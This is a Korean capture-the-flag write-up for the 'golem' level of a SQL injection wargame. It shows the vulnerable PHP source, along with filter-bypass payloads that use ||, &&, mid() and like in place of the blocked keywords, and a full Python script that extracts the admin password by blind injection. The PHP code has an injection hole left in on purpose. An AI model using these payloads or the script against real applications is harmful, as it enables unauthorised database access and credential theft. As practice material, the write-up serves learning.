<?php
include "../config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
소스코드 분석
기존의 blind sql inection에서 substr 함수를 필터링 하였다.
또한 = 이 막혀 있다. 따라서
length(pw)=8 같은 페이로드로 비밀번호의 길이를 알아 낼 수 없다.
or,and는 다른 것으로 대체 가능하다고 앞에서 설명하였다..
풀이
substr은 mid,substring라는 함수로 대체 가능하다.
=은 like라는 sql언어로 대체가 가능하다.
즉 페이로드를
pw=' || id like 'admin' && length(pw) like 9#
와 같이 짜면 된다.
비밀번호 찾는 페이로드는
pw=' || id like 'admin' &&ascii(mid(pw,1,1))>50#과 같이 해서 찾으면 된다.
파이썬 코드
import requests
import re
custom_headers = {
'User-Agent': 'Dalvik/2.1.0',
'Host': 'los.sandbox.cash',
'Connection': 'Keep-Alive',
'Cookie': '__cfduid=ded2179a317b40c718482d2535a9b2a2b1472712358; PHPSESSID=3sg1cotftroqovpkgsq466rri1'
}
''' #r = requests.get("http://los.sandbox.cash/chall/orc_c6199859b81e3a30d63d948875f6a3dd.php?pw=%27%20||id=%27admin%27%20ascii(substr(pw,1,1))%20=%2750",headers=custom_headers) '''
key=0
id=''
for i in range(1,100):
head1="http://los.sandbox.cash/chall/golem_9433f16f7a3899d7cf3fe48330f22018.php?pw=%27%20||id like 'admin'%26%26length(pw)like "
head2="%d %%23" % i
print head1+head2
r=requests.get(head1+head2,headers=custom_headers)
aa=''
aa=r.content
r=aa.find("Hello admin")
if r>0:
key=i
print ("find")
break
print "key length is %d" % key
for i in range(1,key+1):
for j in range(36,127):
head1="http://los.sandbox.cash/chall/golem_9433f16f7a3899d7cf3fe48330f22018.php?pw=%27%20||id like 'admin' %26%26%20ascii(mid(pw,"
head2="%d" % i
head3=",1))%20like "
head4="%d %%23" % j
print head1+head2+head3+head4
r=requests.get(head1+head2+head3+head4,headers=custom_headers)
aa=''
aa=r.content
r=aa.find("Hello admin")
if r>0:
id+= chr(j)
print ("find %s" % id)
break
print "key is %s" %(id)